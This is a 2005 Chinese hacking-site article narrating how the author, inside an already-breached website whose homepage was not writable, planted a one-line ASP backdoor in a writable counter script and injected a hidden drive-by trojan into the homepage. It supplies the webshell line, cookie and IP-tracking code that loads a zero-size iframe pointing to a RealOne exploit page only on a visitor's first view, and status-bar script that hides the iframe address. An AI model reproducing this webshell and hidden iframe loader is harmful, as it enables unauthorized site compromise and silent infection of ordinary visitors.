|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| 首页没有权限也能挂马么? | |||||
作者:空虚浪子… 文章来源:中国X黑客小组 点击数: 更新时间:2005-9-3 ![]() |
|||||
|
首页没有权限也能挂马么? 空虚浪子心【XGC】 在有些情况下,是可以的。一个网站,再怎么安全,怎么设置权限,总有维护的时候,总会为自己的管理方便,提供些方便的路径。也许就在这个时候,会出现安全问题。当然我想讨论的是另一种比较特殊的情况。 网站地址用www.lovefree.org代替。实际的网站是一个已经被偶们入侵过的站,有过N=N+1的被黑经历,甚至还被国外的牛人组织黑。经过很多,后来逐渐的学会了作安全。 目录都是继承的,iuser没有权限写,以前的马,我的马在一个zszl的目录,站长专门建立的新的虚拟目录设置了权限不可跨越。无法浏览主站的目录。主站呢,刚好有另一个兄弟留的(图一)。 他说留了这个马没用,不能写首页,就是想挂马。 本来我是想一个一个目录找的,可惜我的马留的“不是地方”,这次刚好有了,俺就是不信他会所有目录都不可写。一定有可以写的地方,至少运气好了一些上传的地方,或者生成html的地方有希望。找。。。5个小时,一点都不夸张哦~终于找到一个目录。 http://www.lovefree.org/zhenggong/upload/ 政工的网站好像是新作的。虽然主目录不能写,但是upload可以。 (图二) 大家一定想。首页都不能写,这么浪费时间么。其实我也是这样想的,但是他惹毛我了,哪怕是一点点的进取,我都会慢慢的往前进。谁知道前面会遇到什么呢。 浏览目录,有了马,很多本来是隐藏的目录,也都展现了出来,渐渐的扩大战果吧。果然还是找到了一些可以写的目录,因为吸取教训,下次被黑,他们一定还是再次详细的分目录,设权限。所以马越分散越好。 看看他的目录。 (图三) 凡是程序的主目录,都设置了不可写。看来已经很小心了嘛~ 偶开始想是不是要搞同一个网段的机子,然后arp欺骗。想着想着就晕了,麻烦的很。。。继续探测吧。 最后把可以写的目录统计下,以及数据库地址,还有asp结尾的数据库地址(删除了nodown字段就可以作后门用),查看是不是有什么规律。总结和推断管理员的习惯,是一件很有趣的事情。 挂马。。。挂马。。。首页不能写。。。嗯,如果首页调用的JavaScript,而js文件可以写,是不是仍然可以挂马呢? 首页是html的,找到这一段: <td width="67%">您是第<script language="JavaScript" src="count/count.asp" type="text/JavaScript"></script>位访问者 <br> Count可以写啊!我刚刚还在上面加了 <%On Error Resume Next//%> <%execute(request("kxlzx"))%> 最简短的,没有任何异常的后门。 前面的调用,用意很明显,统计浏览的人数。在首页显示。 (图四) 利用。。。 说实话,挂马,也是出于比较过激的想法,因为我一直认为这样的事情,比较××××,只是看看文章,从来没有真正的挂哪个网站上。一般入侵了的结果只是提醒管理员,或者为了帮兄弟们。到没有真的搞过什么站。不过既然走到这一步了,还是想办法学习实践下吧。 遇到不会的,先google,完后问朋友。找来几批马,冰狐,chm,最后选择了real,教主写的马,推荐使用。这个马不分系统,和系统补丁,是利用realone的漏洞。简单说些,你吧系统补丁打个遍,天天更新。但是你装了realone在线看电影,还是中。这么说是不是很恐怖? 好东西,总会有缺陷,每次打开ie,会自动关闭,虽然中了。下次打开,还是关闭。这样子,不符合使用的条件么。。。 最初的想法是让他第一次执行,以后都不执行才好。想起来cookies。 找到
function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } function DeleteCookie (name) { var exp = new Date(); exp.setTime (exp.getTime() - 1); // This cookie is history var cval = 0; document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString(); } var expDays = 1; var exp = new Date(); exp.setTime(exp.getTime() + (expDays*24*60*60*1000)); function amt(){ var count = GetCookie('count'); //var count; //alert(count); //count = null; if(count == null) { SetCookie('count','1') return 1 } else{ var newcount = parseInt(count) + 1; if(newcount<2) count=1; SetCookie('count',newcount,exp); //DeleteCookie('count') return newcount } } function getCookieVal(offset) { var endstr = document.cookie.indexOf (";", offset); if (endstr == -1) endstr = document.cookie.length; return unescape(document.cookie.substring(offset, endstr)); } function sethome(){ document.write('<iframe src="http://127.0.0.1/ray.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>'); } if(amt()==1) { sethome() } 这个也是某网页木马里面的。 也是使用cookies来判断的。但是实践了,发现有缺陷。为什么呢? 通过这个判断要求同一个浏览器界面下第二次打开才对。可是第一次的时候已经被关闭了,还怎么判断啊,下次还会在新窗口生成新的cookie。郁闷中。。。 看见小mo在线,嗯。去“调戏”下。他刚好也在开始玩挂马,给他推荐了教主这个马(故意的,他看了肯定会想办法弥补缺陷,偶等着收代码就是了,偷笑ing…) 介绍了我使用的环境,刚好首页调用count.asp,count.asp自己有个数据库。 果然,小mo把东西发了过来,我看了下,他是利用count.asp的数据库记录访问ip,完后查询数据库,如果有这个ip,就执行。 <% dim conn dim dbpath On Error Resume Next set conn=server.createobject("adodb.connection") DBPath = "D:\music.163.net\includes\BD.MDB" conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath IP=Request.ServerVariables("REMOTE_ADDR") Set Rs=Conn.Execute ("Select ID from BD where ip='"&IP&"'") If Rs.eof then %> 上面是 <%Conn.Execute "insert into BD (ip) values ('"&IP&"')"%> <iframe src="http://www.163.com/other/BD/Top.html" width="0" height="0"></iframe> <%End if%> 上面是BD.asp 用来判断中招的。 嘿嘿,果然可行,不过是多文件的,还是改一下吧。我asp不怎么会写,请教了别人帮忙。 为了方便调试,干脆把他们的count.asp程序整个下载了。 Count.asp里面 <!-- #Include File=Conn.asp --> 也就是说已经打开过了数据库。直接查询就是了。 既然是这样子执行。就可以进一步的隐藏,把木马的判断和执行放进conn.asp里面。代码改进。 <% Set RS=createobject("adodb.recordset") sql="select ip from bd order by id desc" rs.open sql,conn,1,1 Do While not Rs.eof Response.write ""&Rs("ip")&"<br>" Rs.movenext loop rs.close %> <% iP=Request.ServerVariables("REMOTE_ADDR") sql="Select * from BD where ip='"&IP&"'" rs.open sql,conn,1,1 if rs.bof or Rs.eof then %> <%Conn.Execute "insert into BD (ip) values ('"&IP&"')"%> <iframe src="http://www.lovefree.org/kxlzx1/index.asp" width="0" height="0"></iframe> <%end if%> 这样子作是有好处的,后面详说。 状态栏会显示http://www.lovefree.org/kxlzx1/index.asp(第一次打开的时候)。感觉不爽。 在count.asp里面加上。 <script language="JavaScript"> <!-- function statusMessageObject(p,d) { this.msg = MESSAGE this.out = " " this.pos = POSITION this.delay = DELAY this.i = 0 this.reset = clearMessage } function clearMessage() { this.pos = POSITION } var POSITION = 100 var DELAY = 5 var MESSAGE = " " var scroll = new statusMessageObject() function scroller() { for (scroll.i = 0; scroll.i < scroll.pos; scroll.i++) { scroll.out += " " } if (scroll.pos >= 0) scroll.out += scroll.msg else scroll.out = scroll.msg.substring(-scroll.pos,scroll.msg.length) window.status = scroll.out scroll.out = " " scroll.pos-- if (scroll.pos < -(scroll.msg.length)) { scroll.reset() } setTimeout ('scroller()',scroll.delay) } function snapIn(jumpSpaces,position) { var msg = scroll.msg var out = "" for (var i=0; i<position; i++) {out += msg.charAt(i)} for (i=1;i<jumpSpaces;i++) {out += " "} out += msg.charAt(position) window.status = out if (jumpSpaces <= 1) { position++ if (msg.charAt(position) == ' ') {position++ } jumpSpaces = 100-position } else if (jumpSpaces > 3) {jumpSpaces *= .75} else {jumpSpaces--} if (position != msg.length) { var cmd = "snapIn(" + jumpSpaces + "," + position + ")"; scrollID = window.setTimeout(cmd,scroll.delay); } else { window.status="" jumpSpaces=0 position=0 cmd = "snapIn(" + jumpSpaces + "," + position + ")"; scrollID = window.setTimeout(cmd,scroll.delay); return false } return true } snapIn(100,0); // --> </script> 也是copy别人的。 这样就不会显示了。结果应该是第一次打开,中着,关闭ie,也许杀毒软件会叫,也许发现病毒,于是再次打开,发现没有问题啊。查看源代码,就算在查看count.asp代码,还是发现没有问题啊,怎么也想不到其实是在conn.asp里面。 在我这里测试下。第一次已经关闭,这个是第二次打开的结果。 (图五)(图六) 木马在conn.asp里面,即使怀疑,普通用户也不能找到问题,即使那个普通用户是高手,也只能在ie看看count.asp的html代码,结果是什么也没有。因为这个马不会再次执行了。 整篇文章不能说是我原创,但是至少有点我的思路,大家转载的时候顺便保证文章的完整性吧。 |
|||||
| 文章录入:IceRiver 责任编辑:admin | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 海军少将杨毅:中国没有所谓 Skype首席安全官:目前还没有 iPhone不仅仅是手机 永远没 杀毒软件还有多少没有被揭开 调查报告:Google在亚洲没有雅 当今病毒和木马到底有没有技 台湾自由电子报被黑客入侵 首 谷歌软件包中文版首页上线 捆 微软Windows Live中文首页改 围剿熊猫烧香:一场没有任何 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |